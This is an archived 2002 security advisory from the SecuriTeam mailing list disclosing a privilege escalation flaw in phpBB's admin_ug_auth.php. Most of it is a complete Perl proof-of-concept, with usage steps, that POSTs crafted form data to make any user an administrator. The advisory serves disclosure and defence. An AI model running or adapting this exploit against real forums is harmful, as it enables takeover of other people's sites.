

[UNIX] Privilege Escalation Vulnerability on phpBB

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0142.html>

From: support@securiteam.com

Date: 10/31/02

From: support@securiteam.com

To: list@securiteam.com

Date: 31 Oct 2002 14:09:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Privilege Escalation Vulnerability on phpBB

SUMMARY

Rootsecure.net discovered a privilege escalation vulnerability in phpBB which allows any person with a "user" level account to escalate their privileges to that of "administrator" level, and therefore gain full unrestrictive control of a forum.

A coding error exists in the admin_ug_auth.php script (used to set permissions), so although admin rights are needed to view the page, anyone can post data back to it "no questions asked". Therefore, if you already know what kind of response the board is looking for, you can go straight ahead and tell it directly that you want to give admin rights to a specific account.

DETAILS

Before using the proof of concept code you must first find out two bits of information:

1. The base directory of the board, (usually something like <http://www.mydomain.com/phpBB2>), which is found by taking off index.php from the main page URL.
2. The user number of the account you wish to give admin. To do this go

Securiteam: [UNIX] Privilege Escalation Vulnerability on phpBB

to the forums member list page, click your username, then note down the number shown at the right end of the URL you are now at. (if no users have been deleted from the board, then the number next to your username on the members list page under the "#" column will also be your true user number).

Upon successful exploitation, on your next login, there will be a link at the bottom of every board page saying "Go to Administration Panel" and additional options on screen when you are viewing a specific thread to enable you to edit, delete, lock individual posts/threads etc.

Exploit:

```
#!/usr/bin/perl
```

```
#####  
# Copyright 2002 nick84 – Rootsecure.net #  
# #  
# You may use / modified this code as long as you leave this #  
# here message in the source. #  
# By using this code you agree to indemnify rootsecure.net #  
# from any liability that might arise from its use. #  
# #  
# Selling this source code without prior consent is expressly #  
# forbidden. :) #  
# #  
# By downloading this code you agree not to use it for any #  
# illegal purpose. I.e. Only on forums you already have #  
# administration rights over. #  
# #  
#####
```

```
# Header Info
```

```
print "Content-type: text/html\n\n";  
print "root_a_phpBB_2.0.0.pl perl command line version\n\n";  
print "Coded by nick84@ (http://www.rootsecure.net)\n\n";
```

```
# Usage Instructions Shown On Screen
```

```
print <<ENDHTML;  
Usage Instructions (data gathering)  
-----
```

1. Goto the board you wish to change the permissions for in the normal way using a browser.
2. Find the base directory location of the board for the script, i.e. if the main page was <http://www.server.com/phpBB2/index.php> the base directory location would be <http://www.server.com/phpBB2> – without the trailing slash
3. Goto the boards "Memberlist" page (usually located at the top with the rest of the links)
4. Search the "Memberlist" page for the specific account you wish to change

Securiteam: [UNIX] Privilege Escalation Vulnerability on phpBB

the permissions for, and click the username, then note down the number at the end of the page URL you are at. (u=?)

5. Fill in the details obtained where asked for in the following prompts.

ENDHTML

```
# Continue When user Is Ready
```

```
print "Press enter to continue:";
```

```
$continue = <STDIN>;
```

```
# Clear The Screen
```

```
&clear_screen;
```

```
# Get Input From User
```

```
print "Boards Location:\n";
```

```
print "-----\n";
```

```
print "e.g. (http://www.domain\_name.com/phpBB2 Note: no trailing slash)\n";
```

```
print "Dont forget to use capitals if the name contains them\n";
```

```
print ":";
```

```
$board_location = <STDIN>;
```

```
chop $board_location;
```

```
print "\nUser ID:\n";
```

```
print "-----\n";
```

```
print "User ID of the user you wish to change the permissions for\n";
```

```
print "Found by clicking your profile on the Memberlist page, and\n";
```

```
print "then reading the end of the URL (where it says u=?)\n";
```

```
print ":";
```

```
$user_id = <STDIN>;
```

```
chop $user_id;
```

```
print "\nUser Level:\n";
```

```
print "-----\n";
```

```
print "User level you wish to give to the specified user\n";
```

```
print "i.e. for admin type admin for user type user\n";
```

```
print ":";
```

```
$user_level = <STDIN>;
```

```
chop $user_level;
```

```
# Clear The Screen
```

```
&clear_screen;
```

```
# Print Out What The User Entered
```

```
print <<ENDHTML;
```

```
Details Entered
```

```
-----
```

```
Board Location: $board_location
```

```
User ID No.: $user_id
```

```
User Level: $user_level
```

```
ENDHTML
```

Securiteam: [UNIX] Privilege Escalation Vulnerability on phpBB

```
# Confirm Details With User
print "\nIs this correct? (if it is press enter, otherwise controll-c)\n";
print ":";
$continue = <STDIN>;

print "\nWorking ...\n";

# Add One To Get The Correct User ID (not needed anymore)
#$user_id++;

# Compile Full String To Send
$post_dat="adv=&mode=user&moderator%5B1%5D=0&private%5B1%5D=0&submit=Submit&u=$user_id&userlev

# Compile Full Location Of Boards Admin Page
$full_location="$board_location/admin/admin_ug_auth.php";

# Change Permissions On Specified Server
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my $req = HTTP::Request->new(POST => $full_location);
$req->content_type('application/x-www-form-urlencoded');
$req->content($post_dat);

my $res = $ua->request($req);

# Clear The Screen
&clear_screen;

print "\nFinished!\n";

# Display Final Usage Instructions
print <<ENDHTML;
Now go and log into the forum in the usual way. – If it was successful,
there will be a link at the bottom of every board page saying "Go to
Administration Panel" and additional options will appear on screen when
you are viewing a specific thread to enable you to edit or delete posts
in it etc.
ENDHTML

# print $res->as_string;

# Clear The Screen Subroutine
sub clear_screen {

for ($count=1; $count<101; $count++)
{
print "\n";
}

}
```

Securiteam: [UNIX] Privilege Escalation Vulnerability on phpBB

ADDITIONAL INFORMATION

The information has been provided by <mailto:nick84@rootsecure.net> nick of Rootsecure.net.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] MDaemon SMTP/POP/IMAP Server DoS (Invalid UIDL, DELE)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)